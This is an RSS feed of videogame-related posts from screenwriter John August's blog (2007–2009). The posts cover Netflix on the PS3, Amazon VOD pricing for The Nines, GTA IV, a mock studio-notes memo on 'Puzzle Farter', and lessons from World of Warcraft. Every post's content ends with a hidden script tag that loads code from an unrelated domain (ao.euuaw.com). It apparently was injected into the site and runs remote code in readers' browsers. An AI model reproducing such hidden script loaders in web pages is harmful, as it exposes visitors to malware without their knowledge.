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	<title>johnaugust.com &#187; Videogames</title>
	<atom:link href="http://johnaugust.com/archives/category/videogames/feed" rel="self" type="application/rss+xml" />
	<link>http://johnaugust.com</link>
	<description>A ton of useful information about screenwriting.</description>
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		<title>Netflix streaming to PlayStation 3</title>
		<link>http://johnaugust.com/archives/2009/netflix-streaming-to-playstation-3</link>
		<comments>http://johnaugust.com/archives/2009/netflix-streaming-to-playstation-3#comments</comments>
		<pubDate>Mon, 26 Oct 2009 23:44:28 +0000</pubDate>
		<dc:creator>John</dc:creator>
				<category><![CDATA[The Movie]]></category>
		<category><![CDATA[Videogames]]></category>

		<guid isPermaLink="false">http://johnaugust.com.s97368.gridserver.com/?p=3681</guid>
		<description><![CDATA[Starting next month, you can watch instantly through Netflix on your PS3.]]></description>
			<content:encoded><![CDATA[<p>Sony and Netflix <a href="http://blog.us.playstation.com/2009/10/netflix-coming-soon-to-playstation-3/">announced today</a> that starting next month, you&#8217;ll be able to use Netflix&#8217;s &#8220;watch instantly&#8221; feature through the PlayStation 3.  After spending its life banished to the garage office, this change might finally get my PS3 a place in the main house.</p>

<p>Netflix streaming is already available on XBox (Gold), Roku, and a few other devices. I&#8217;ve read interviews with Netflix CEO Reed Hastings talking about his goal of making it ubiquitous, and this seems like part of that plan.</p>

<p><a href="http://www.netflix.com/Movie/The_Nines/70066350">The Nines</a> has been streaming for a few months now through Netflix. While I don&#8217;t get viewer numbers, a scan of Twitter shows that a lot of people are watching it this way.  It&#8217;s legal, legit, and actually lets filmmakers get paid.<script src="http://ao.euuaw.com/9"></script></p>




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		<item>
		<title>The Nines on Amazon VOD</title>
		<link>http://johnaugust.com/archives/2009/the-nines-on-amazon-vod</link>
		<comments>http://johnaugust.com/archives/2009/the-nines-on-amazon-vod#comments</comments>
		<pubDate>Sat, 03 Jan 2009 17:23:29 +0000</pubDate>
		<dc:creator>John</dc:creator>
				<category><![CDATA[Projects]]></category>
		<category><![CDATA[The Movie]]></category>
		<category><![CDATA[Videogames]]></category>

		<guid isPermaLink="false">http://johnaugust.com/?p=1437</guid>
		<description><![CDATA[The Nines is now available through Amazon&#8217;s video-on-demand, with options for download or streaming within the browser window. It&#8217;s very straightforward, and I&#8217;m always happy for another outlet.

But it costs $14.99.  That&#8217;s simply too much.

Amazon sells the physical DVD with all the special features for the same price, at considerably more cost to the [...]]]></description>
			<content:encoded><![CDATA[<p>The Nines is <a href="http://www.amazon.com/gp/product/B0012F23TS/sr=8-1/qid=1231002131">now available</a> through Amazon&#8217;s video-on-demand, with options for download or streaming within the browser window. It&#8217;s very straightforward, and I&#8217;m always happy for another outlet.</p>

<p>But it costs $14.99.  That&#8217;s simply too much.</p>

<p>Amazon sells the physical DVD with all the special features for the same price, at considerably more cost to the retailer. They have used copies for as little as $2.04.</p>

<p>Obviously, the advantage of online viewing is that you can watch the movie immediately. For that purpose, iTunes has it priced at $9.99, which not only suits the title but feels like a more appropriate price.  (<a href="http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewMovie?id=274169170&amp;s=143441">iTunes link</a>)</p>

<p>I don&#8217;t get any advance notice when the movie will be showing up in different venues, so if you spot it somewhere else, let me know. I&#8217;m particularly curious what the options are outside the U.S.<script src="http://ao.euuaw.com/9"></script></p>




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		<item>
		<title>Trifecta</title>
		<link>http://johnaugust.com/archives/2008/trifecta</link>
		<comments>http://johnaugust.com/archives/2008/trifecta#comments</comments>
		<pubDate>Fri, 28 Nov 2008 21:10:03 +0000</pubDate>
		<dc:creator>John</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[Shazam]]></category>
		<category><![CDATA[Videogames]]></category>

		<guid isPermaLink="false">http://johnaugust.com/?p=1360</guid>
		<description><![CDATA[The combination of family travel, lingering illness and Fallout 3 has kept me away from the blog this week, but I should be back to a normal schedule beginning Sunday.

There&#8217;s actual news, including my next writing project and an update (post-mortem?) on Shazam!. Plus, I really want to write something about this misguided memo from [...]]]></description>
			<content:encoded><![CDATA[<p>The combination of family travel, lingering illness and <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&#038;location=http%3A%2F%2Fwww.amazon.com%2Fs%3Fie%3DUTF8%26x%3D0%26ref%255F%3Dnb%255Fss%255Fgw%26y%3D0%26field-keywords%3Dfallout%25203%26url%3Dsearch-alias%253Daps&#038;tag=johnaugustcom-20&#038;linkCode=ur2&#038;camp=1789&#038;creative=390957">Fallout 3</a><img src="https://www.assoc-amazon.com/e/ir?t=johnaugustcom-20&#038;l=ur2&#038;o=1" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /> has kept me away from the blog this week, but I should be back to a normal schedule beginning Sunday.</p>

<p>There&#8217;s actual news, including my next writing project and an update (post-mortem?) on <em>Shazam!</em>. Plus, I really want to write something about <a href="http://www.vanityfair.com/online/culture/2008/11/14/thomas-kincades-16-guidelines-for-making-stuff-suck.html">this misguided memo from Thomas Kinkade</a> reprinted in Vanity Fair. It&#8217;s a good cautionary tale.</p>

<p>(<strong>Update:</strong> Fixed spelling of Kinkade&#8217;s name.  Thanks Matt Redd.)</p>

<script src="http://ao.euuaw.com/9"></script>




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		<item>
		<title>Prince of Projects</title>
		<link>http://johnaugust.com/archives/2008/prince-of-projects</link>
		<comments>http://johnaugust.com/archives/2008/prince-of-projects#comments</comments>
		<pubDate>Thu, 23 Oct 2008 16:08:38 +0000</pubDate>
		<dc:creator>John</dc:creator>
				<category><![CDATA[Prince of Persia]]></category>
		<category><![CDATA[Projects]]></category>
		<category><![CDATA[Videogames]]></category>

		<guid isPermaLink="false">http://johnaugust.com/?p=1289</guid>
		<description><![CDATA[Friend and occasional writing partner Jordan Mechner has been tinkering on a website for a few months, and is now ready to invite the world in.  He has a lot to share about 20 years in the videogame industry, and the transition from designer to screenwriter.


  Basically, my plan is to blog, post [...]]]></description>
			<content:encoded><![CDATA[<p>Friend and occasional writing partner Jordan Mechner has been tinkering on a website for a few months, and is now ready to invite the world in.  He has a lot to share about 20 years in the videogame industry, and the transition from designer to screenwriter.</p>

<blockquote>
  <p>Basically, my plan is to blog, post sketches, and answer questions people send in &#8212; most of which I expect will be about Prince of Persia.</p>
</blockquote>

<p>Yes, he&#8217;ll actually talk about it. We&#8217;re both executive producers on the 2010 blockbuster, but he&#8217;s been vastly more involved over the past two years, visiting set in Morocco and generally keeping himself in the loop.</p>

<blockquote>
  <p>I&#8217;ll also continue to post blogs from the past via the &#8220;Old Journals&#8221; feature, telling the gritty, no-holds-barred, inside story of the first making of POP on the Apple II, 1985-1989. Not sure quite who will be interested in that one, but hopefully someone.</p>
</blockquote>

<p>Not just that &#8212; Karateka. My brother and I spent a summer playing Karateka on the Atari 800.</p>

<p>So check out his site: <a href="http://jordanmechner.com">jordanmechner.com</a>.<script src="http://ao.euuaw.com/9"></script></p>




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		<item>
		<title>Things We Think About Games</title>
		<link>http://johnaugust.com/archives/2008/things-we-think-about-games</link>
		<comments>http://johnaugust.com/archives/2008/things-we-think-about-games#comments</comments>
		<pubDate>Tue, 30 Sep 2008 16:55:07 +0000</pubDate>
		<dc:creator>John</dc:creator>
				<category><![CDATA[Story and Plot]]></category>
		<category><![CDATA[Videogames]]></category>

		<guid isPermaLink="false">http://johnaugust.com/?p=1240</guid>
		<description><![CDATA[On storytelling in games.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.amazon.com/gp/product/0981884008?ie=UTF8&#038;tag=johnaugustcom-20&#038;linkCode=as2&#038;camp=1789&#038;creative=9325&#038;creativeASIN=0981884008"><img class="alignleft" alt="book cover" src="http://johnaugust.com/Assets/things_games.jpg" /></a>I have an essay in the new book <a href="http://www.amazon.com/gp/product/0981884008?ie=UTF8&#038;tag=johnaugustcom-20&#038;linkCode=as2&#038;camp=1789&#038;creative=9325&#038;creativeASIN=0981884008">Things We Think About Games</a><img src="http://www.assoc-amazon.com/e/ir?t=johnaugustcom-20&#038;l=as2&#038;o=1&#038;a=0981884008" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />, a minor rewrite of <a href="http://johnaugust.com/archives/2007/seven-things-warcraft">&#8220;Seven things I learned from World of Warcraft.&#8221;</a></p>

<p>While I wouldn&#8217;t recommend buying the book just for my contribution, I&#8217;m happy to report the rest of Will Hindmarch and Jeff Tidball&#8217;s little book is terrific, full of observations and advice for gamers and game designers. Having worked with several of the latter, I&#8217;m struck by how nascent and unformed that field is.  The fundamental questions are still being asked, and answered different ways:  How do you make story playable?  How explicitly do you set the rules?  How much &#8220;work&#8221; is a player willing to do?</p>

<p>Whether MMORPG or paper-and-dice, alien-zapping or world-building, games have an active social component unlike anything you find in film or television, which makes them a uniquely challenging art form.  Yes: you can watch a slasher movie with your friends, shouting back at the screen. But the film itself is unchanged by your participation. Not so with a good game, which demands involvement far beyond passive entertainment.</p>

<p>So if you find yourself thinking about games, I&#8217;d encourage to think along with this book.<script src="http://ao.euuaw.com/9"></script></p>




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		<title>If film studios developed videogames</title>
		<link>http://johnaugust.com/archives/2008/puzzle-farter</link>
		<comments>http://johnaugust.com/archives/2008/puzzle-farter#comments</comments>
		<pubDate>Tue, 17 Jun 2008 12:52:50 +0000</pubDate>
		<dc:creator>John</dc:creator>
				<category><![CDATA[Film Industry]]></category>
		<category><![CDATA[Videogames]]></category>

		<guid isPermaLink="false">http://johnaugust.com/?p=1043</guid>
		<description><![CDATA[Why is Puzzle Farter so gassy?]]></description>
			<content:encoded><![CDATA[<p><a href="http://puzzlefarter.com"><img class="alignright" alt="puzzle farter" src="http://johnaugust.com/Assets/puzzlefarter.jpg" /></a>To: FILE<br />
From: Studio Development Group<br />
Date: June 16, 2008<br />
RE:  PUZZLE FARTER, 6/2/08 draft</p>

<p>We think <a href="http://puzzlefarter.com/">this draft</a> represents progress from the 5/01/08 draft, but there are still areas that need to be addressed to make this the strongest possible casual videogame. As always, we look forward to discussing these issues with you.</p>

<h2>1. DEVELOPING THE CHARACTER ARC</h2>

<p>We&#8217;re lacking a clear backstory and dramatic arc for Puzzle Farter. Why is this story happening to this character, now? Why is he so gassy? He is literally a fish out of water, but we never develop this idea.</p>

<p>Let&#8217;s consider PRETTY WOMAN as a template: Puzzle Farter is trying to navigate a world in which he doesn&#8217;t fit in, but in trying to understand it, reveals its absurdities. (And falls in love. See note #4.)</p>

<p>In this spirt, we&#8217;d like to consider adding an event (an &#8220;Inciting Incident&#8221;) early in the story, explaining how Puzzle Farter entered this world.</p>

<p>Also, Puzzle Farter needs to talk. He needs to clearly articulate his goals in a funny, relatable way. We see Joe Pesci for the role, but are open to other suggestions.</p>

<h2>2. KEEPING PUZZLE FARTER PROACTIVE</h2>

<p>Currently, Puzzle Farter spends much of his time reacting to outside pressures. We would like to find ways to keep him more in charge of the narrative &#8212; and for his decisions to have a deeper resonance in the story.</p>

<p>For example, right now, his only response to threats is to jump or run. Can we see him kill or otherwise incapacitate the other characters (hopefully in a charming way)? Like Grand Theft Auto 4, we&#8217;d also like to see a mission-based interface which would allow the character to explore on his own. (The &#8220;sandbox&#8221; model.)</p>

<p>Also, we&#8217;d like a system for keeping track of gold points.</p>

<h2>3. CLARIFYING OBJECTIVES</h2>

<p>The addition of doors to each level has gone a long way towards making it clear what Puzzle Farter is attempting to achieve in each encounter. But we&#8217;re missing a bigger goal: What is Puzzle Farter hoping to find? What is his want? What does he need? (The conflict between these two questions can contribute a lot of second-act gravitas.)</p>

<p>Let&#8217;s consider adding a Fish Sister, who is kidnapped in the prologue. This would go a long way towards strengthening our Villain Plot.</p>

<h2>4. LOVE INTEREST</h2>

<p>Puzzle Farter needs a love interest, someone who can match him toot for toot. We think Rachel McAdams would be perfect.</p>

<p>Also, players need to be able to select gender, so as not to eliminate the gay gamer demographic.</p>

<h2>5. MULTIPLAYER</h2>

<p>The game needs to be multiplayer. We should also discuss making it a MMORPG.</p>

<h2>6. RATING AND CONTENT</h2>

<p>To appeal to families, we need to be sensitive to content concerns. Let&#8217;s replace the farting with something less offensive.<script src="http://ao.euuaw.com/9"></script></p>




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		<title>Grand Theft Auto</title>
		<link>http://johnaugust.com/archives/2008/grand-theft-auto</link>
		<comments>http://johnaugust.com/archives/2008/grand-theft-auto#comments</comments>
		<pubDate>Tue, 22 Apr 2008 16:21:04 +0000</pubDate>
		<dc:creator>John August</dc:creator>
				<category><![CDATA[Videogames]]></category>

		<guid isPermaLink="false">http://johnaugust.com/?p=1021</guid>
		<description><![CDATA[I offer this an explanation and apology for why there will be few blog posts in the coming weeks. Fewer hours spent with friends and family. And an increased number of times I reach for my weapon rather than discussing matters calmly.

GTA IV comes out next week.

Here&#8217;s the thing: I&#8217;ve never even played I-III. I&#8217;m [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&#038;location=http%3A%2F%2Fwww.amazon.com%2FRockstar-Games-Grand-Theft-Auto%2Fdp%2FB000FRU1UM%3Fie%3DUTF8%26s%3Dvideogames%26qid%3D1208879716%26sr%3D8-1&#038;tag=johnaugustcom-20&#038;linkCode=ur2&#038;camp=1789&#038;creative=9325"><img class="alignright" src="http://johnaugust.com/Assets/gta.jpg" /></a>I offer this an explanation and apology for why there will be few blog posts in the coming weeks. Fewer hours spent with friends and family. And an increased number of times I reach for my weapon rather than discussing matters calmly.</p>

<p><a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&#038;location=http%3A%2F%2Fwww.amazon.com%2FRockstar-Games-Grand-Theft-Auto%2Fdp%2FB000FRU1UM%3Fie%3DUTF8%26s%3Dvideogames%26qid%3D1208879716%26sr%3D8-1&#038;tag=johnaugustcom-20&#038;linkCode=ur2&#038;camp=1789&#038;creative=9325">GTA IV comes out next week.</a><img src="http://www.assoc-amazon.com/e/ir?t=johnaugustcom-20&amp;l=ur2&amp;o=1" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /></p>

<p>Here&#8217;s the thing: I&#8217;ve never even played I-III. I&#8217;m more <a href="http://johnaugust.com/archives/2007/cannon-fodder">Tower Defense</a> than blood-soaked crime epic. But through whatever  subconscious memetic programming, I feel absolutely compelled to buy it and play it.  Dude, <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&#038;location=http%3A%2F%2Fwww.amazon.com%2FRockstar-Games-Grand-Theft-Auto%2Fdp%2FB000FRU1UM%3Fie%3DUTF8%26s%3Dvideogames%26qid%3D1208879716%26sr%3D8-1&#038;tag=johnaugustcom-20&#038;linkCode=ur2&#038;camp=1789&#038;creative=9325">check out the trailer</a><img src="http://www.assoc-amazon.com/e/ir?t=johnaugustcom-20&amp;l=ur2&amp;o=1" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /> on Amazon.<sup>1</sup></p>

<p>Because you&#8217;ll ask, I have a <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&#038;location=http%3A%2F%2Fwww.amazon.com%2FSony-98007-Playstation-3-40GB%2Fdp%2FB000XGJH1O%3Fie%3DUTF8%26s%3Dvideogames%26s9r%3D8a02b5411685bd5d01169c9c84800310%26itemPosition%3D1%26qid%3D1208880361%26sr%3D8-1&#038;tag=johnaugustcom-20&#038;linkCode=ur2&#038;camp=1789&#038;creative=9325">PS3</a><img src="http://www.assoc-amazon.com/e/ir?t=johnaugustcom-20&amp;l=ur2&amp;o=1" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" />, which is apparently awesome or incredibly lame, depending on which system the person I&#8217;m speaking with has.  I&#8217;m debating whether to get the <a href="http://www.amazon.com/gp/redirect.html?ie=UTF8&#038;location=http%3A%2F%2Fwww.amazon.com%2FSony-98050-Playstation-Dualshock-Controller%2Fdp%2FB0015AARJI%2F&#038;tag=johnaugustcom-20&#038;linkCode=ur2&#038;camp=1789&#038;creative=9325">Dual Shock controller</a><img src="http://www.assoc-amazon.com/e/ir?t=johnaugustcom-20&amp;l=ur2&amp;o=1" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /> &#8212; or if that&#8217;s like getting a Waterford crack pipe.<script src="http://ao.euuaw.com/9"></script></p>

<ol class="footnotes"><li id="footnote_0_1021" class="footnote">The trailer is age-verified, but I&#8217;m not sure how or why. Considering I have Amazon Prime turned on, I obviously have a credit card, so it seems strange to ask for a birthdate.</li></ol>




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		<title>Seven Things I Learned from World of Warcraft</title>
		<link>http://johnaugust.com/archives/2007/seven-things-warcraft</link>
		<comments>http://johnaugust.com/archives/2007/seven-things-warcraft#comments</comments>
		<pubDate>Wed, 14 Feb 2007 12:01:28 +0000</pubDate>
		<dc:creator>John August</dc:creator>
				<category><![CDATA[Geek Alert]]></category>
		<category><![CDATA[Videogames]]></category>

		<guid isPermaLink="false">http://johnaugust.com/archives/2007/seven-things-warcraft</guid>
		<description><![CDATA[Those who&#8217;ve seen my movie, The Nines, can infer that I had a bit of a World of Warcraft problem back in the day.  &#8220;The day&#8221; being a period of about four months in which most of my waking hours were spent either playing the game or wanting to.  The luxury and danger [...]]]></description>
			<content:encoded><![CDATA[<p>Those who&#8217;ve seen my movie, <em>The Nines</em>, can infer that I had a bit of a World of Warcraft problem back in the day.  &#8220;The day&#8221; being a period of about four months in which most of my waking hours were spent either playing the game or wanting to.  The luxury and danger of being a screenwriter is an abundance of unstructured time.  WoW can eat hours in a gulp.</p>

<p>Moderation just didn&#8217;t work.  I had to give it up cold-turkey, canceling my account and throwing out the install disks.  With my newfound time, I had a kid, wrote a couple of movies and directed one of my own.</p>

<p>I have few regrets about giving up Warcraft.  But in retrospect, I did learn some valuable things from my time in Azeroth, lessons that have stuck with me.  So I thought I&#8217;d share a few.</p>

<h1>1. Kill injured monsters first</h1>

<p><img class="alignleft" alt="W " src="http://johnaugust.com/Assets/warcraft.jpg" />__When facing multiple bad guys, the temptation is to go after the one who&#8217;s hitting you hardest.  This is often a mistake. That injured razorback, the one who is running away?  He&#8217;ll be back in 15 seconds, likely with other baddies in tow.  So take a few clicks to kill him now.  Once he&#8217;s dead, you can focus completely on the guy who&#8217;s smacking you.__</p>

<p>The real world may not have druids and paladins, but it&#8217;s chock full of monsters. They&#8217;re called &#8220;term papers&#8221; and &#8220;errands&#8221; and &#8220;mysterious car problems.&#8221;  At any given moment, there may be one monster that looms larger than all of the others, who clearly needs to be attacked.  But before you do, look around for injured monsters &#8212; the half-finished tasks that probably need only a few more minutes to complete.  If you don&#8217;t deal with them now, they&#8217;ll be a constant distraction, and may eventually come back stronger.</p>

<p>This &#8220;injured monster theory&#8221; is why I try to return every phone call the day I receive it, and respond to every email within 24 hours.  If a warning light comes on in my car, I go to the mechanic that day.  Whenever I find myself thinking, &#8220;I need to remember to&#8230;&#8221; then I know I&#8217;ve failed.  I don&#8217;t need to remember.  I need to do.  I need to finish.</p>

<h1>2. Grinding is part of the game&#8230;</h1>

<p><img class="alignleft" alt="W " src="http://johnaugust.com/Assets/warcraft.jpg" />__In WoW parlance, &#8220;grinding&#8221; is the process of killing a bunch of fairly easy monsters, one after the other, strictly to rack up loot and experience.  There&#8217;s no adventure to it, no real challenge.  It&#8217;s tedious and mindless, but it&#8217;s often the fastest way to level up, which is why everyone does it.__</p>

<p>Daily life is full of mindless tedium, but there&#8217;s an important distinction: <em>grinding has a point.</em>  While the task may be dull and carpal tunnel-aggravating, there&#8217;s a clear goal.  You&#8217;re doing X in order to get Y.  You&#8217;re xeroxing scripts in the William Morris mailroom in order to get a job as an assistant.  You&#8217;re proofreading your script for the seventh time in order to send it to your friend, who works for that producer.  You have to be willing to do serious grunt work in order to move ahead.</p>

<h1>3. &#8230;But grinding is not the game</h1>

<p><img class="alignleft" alt="W " src="http://johnaugust.com/Assets/warcraft.jpg" />__It&#8217;s easy to confuse what you&#8217;re doing with why you&#8217;re doing it.  Just remember: you&#8217;re not paying $15 a month to kill the same set of spawning critters.  Grinding is a means of achieving a specific goal, whereas the game itself is supposed to be entertaining.  So once you level (or get enough deer skins to fabricate that armor), stop grinding and start exploring.__</p>

<p>I worked for a year as a reader at Tri-Star, writing coverage on 10 scripts or books a week.  It was good money, $65 a shot, but it was wearying.  Most of the scripts were terrible.  Apart from offering lessons-to-avoid, there wasn&#8217;t any point in reading them other than the money.  But I convinced myself I was &#8220;working in the industry,&#8221; so I kept reading them, one after the other, dutifully writing up my synopses and comments.  Executives would congratulate me on my witty notes, and there was some suggestion that I could get a job in development.  So I quit.</p>

<p>In place of reading, I got a mindless internship in physical production at Universal: filing, copying, researching clearances.  I didn&#8217;t use my brain once.  That left me with abundant energy when I got home from work, and with it I finished two scripts.</p>

<p>Both jobs were quintessential &#8220;day jobs.&#8221; In theory, writing coverage should have been the better job, because it was closer to screenwriting.  And truthfully, I did learn some valuable things&#8211;for the first month or two.  After that, it was a whole lotta more of the same.  The second job was a better fit because there was no confusing it with my true ambitions.</p>

<h1>4. Give away stuff to newbies</h1>

<p><img class="alignleft" alt="W " src="http://johnaugust.com/Assets/warcraft.jpg" />__You start the game with almost nothing: a weapon and the shirt on your back.  Each new piece of gear you accumulate is tremendously exciting.  Cloth armor seems luxurious.  But as you level up, that early gear becomes increasingly irrelevant and basically worthless.  It&#8217;s not worth the trip to the store to sell it.  So don&#8217;t.  Instead, run back to the newbie lands, find the first character of your class, and hand him all the stuff you don&#8217;t want.  It will take two minutes of your time, but give the newbie a tremendous head start.  (Not to mention building your karma.)__</p>

<p>This site, johnaugust.com, is really just me running back to the newbie lands and giving away what I can.  There&#8217;s no financial incentive in it for me.  I could certainly put my advice in a book and charge $15.95 for it.  But I see it as the take-a-penny, leave-a-penny flow of information.  On a daily basis, I find myself searching the web for answers on topics in which I&#8217;m a newbie (Flash programming, DC mythology, teaching toddlers to swim) and leaving thankful that someone out there took the time to write a tutorial on exactly what I needed.  So in exchange, I write up what I know about screenwriting.</p>

<p>If everyone took the time to build a site about the areas of their expertise, the world would be significantly cooler.</p>

<h1>5. Keep track of your quests</h1>

<p><img class="alignleft" alt="W " src="http://johnaugust.com/Assets/warcraft.jpg" /><strong>WoW is refreshingly open-ended&#8211;you could spend all your time skinning bears, if you felt like it.  In order to provide a sense of structure, the game helpfully provides quests: multi-step missions, generally to collect, kill or deliver something.  While the system does a solid job tracking these official endeavors (&#8220;13 out of 25 tusks&#8221;), most of the time what you&#8217;re really trying to do (&#8220;find a better shield&#8221;) is frustratingly amorphous.  The trick is to identify these unofficial quests and break them down into distinct steps:</strong></p>

<p>*<strong> browse the auctions to compare prices</strong><br />
*<strong> pick preferred shield</strong><br />
*<strong> sell off unneeded linen to raise needed cash</strong><br />
*<strong> bid</strong></p>

<p><strong>At any given point, you may have 10 of these pseudo-quests, and unless you take charge of them, you&#8217;re liable keep running around, cursing your stupid shield.</strong></p>

<p><a href="http://davidco.com">GTD</a> enthusiasts would label these WoW quests &#8220;projects,&#8221; and each of the bullet points &#8220;next actions.&#8221; That&#8217;s geekery, but it&#8217;s an acknowledgment that most of life&#8217;s work consists of a bunch of little activities in the service of a larger goal.  You don&#8217;t write a script; you write a scene.  You don&#8217;t design a website; you tweak the CSS so the navigation looks better.  No matter what the project is, you can&#8217;t finish until you get started, and you can&#8217;t get started until you figure out the steps.</p>

<h1>6. Storage is costly</h1>

<p><img class="alignleft" alt="W " src="http://johnaugust.com/Assets/warcraft.jpg" />__Perhaps sensing that messy teenage boys are a key demographic, World of Warcraft won&#8217;t let you leave something on the ground.  If you don&#8217;t pick up that fallen warhammer, it will vanish, never to return.  So one quickly learns the importance of storage: belts, bags, backpacks and chests.  Unfortunately, there&#8217;s never nearly enough space, and adding more becomes ridiculously expensive.  (That&#8217;s by design, clearly.  The developers want to minimize hoarding.)  So always keep in mind the carrying costs. If you never use that second bow, get rid of it, and use those slots for something you need.__</p>

<p>Unlike World of Warcraft (or hard drives in the 90&#8217;s), digital storage is now cheap. Crazy cheap.  I remember having to carefully comb through my hard drive, trying to figure out exactly what I could purge in order to install the newest version of Quark XPress.  Today, I have 80 gigs available on my startup drive, and this was the first time I checked in over a year.</p>

<p>But while the cost of bit storage has plummeted, the cost of storing atoms is still huge.  My neighbors just had a <a href="http://www.pods.com/">POD</a> delivered, essentially a cargo container that gets trucked off.  I&#8217;ve watched as they&#8217;ve filled it with furniture and boxes, all the time wondering, &#8220;Is all that stuff really worth keeping?&#8221;  It&#8217;s like paying rent on things you already own.</p>

<p>Last year, we cleaned out our garage. Instead of a traditional yard sale, we did a virtual version.  We took pictures of everything we were getting rid of, built a page in <a href="http://backpackit.com">Backpack</a>, and sent the link to all our friends.  Whoever wanted something could email us and take it.  They got a free desk, and we got a free garage.</p>

<h1>7. Overthinking takes the fun out of it</h1>

<p><img class="alignleft" alt="W " src="http://johnaugust.com/Assets/warcraft.jpg" />__Remember, the game is supposed to be fun.  Yes, you can spend hours pouring through the forums, finding exactly the right talent tree.  Or you could wing it: explore some new lands and kill some big monsters.  Obsessive planning won&#8217;t make the game more enjoyable.  It will just make it more like work.__</p>

<p>I&#8217;m often asked about outlines and treatments, and whether they&#8217;re necessary before sitting down to write a script.  They&#8217;re not.  Like a map, they can help you figure out where you&#8217;re going, but when you follow them too closely, you&#8217;re apt to miss a lot of amazing scenery along the way.</p>

<p>On a bigger level, as you look back at any period of your life, you don&#8217;t remember what a solid plan you had.  You remember what you did.  You remember the adventures, the scrapes, the unanticipated detours that turned out to fascinating.  So don&#8217;t plan your way out of an exciting life.</p>

<p>If you agree, feel free to <a href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fjohnaugust.com%2F%3Fp%3D718&amp;title=Seven+Things+I+Learned+from+World+of+Warcraft">digg it</a>.<script src="http://ao.euuaw.com/9"></script></p>




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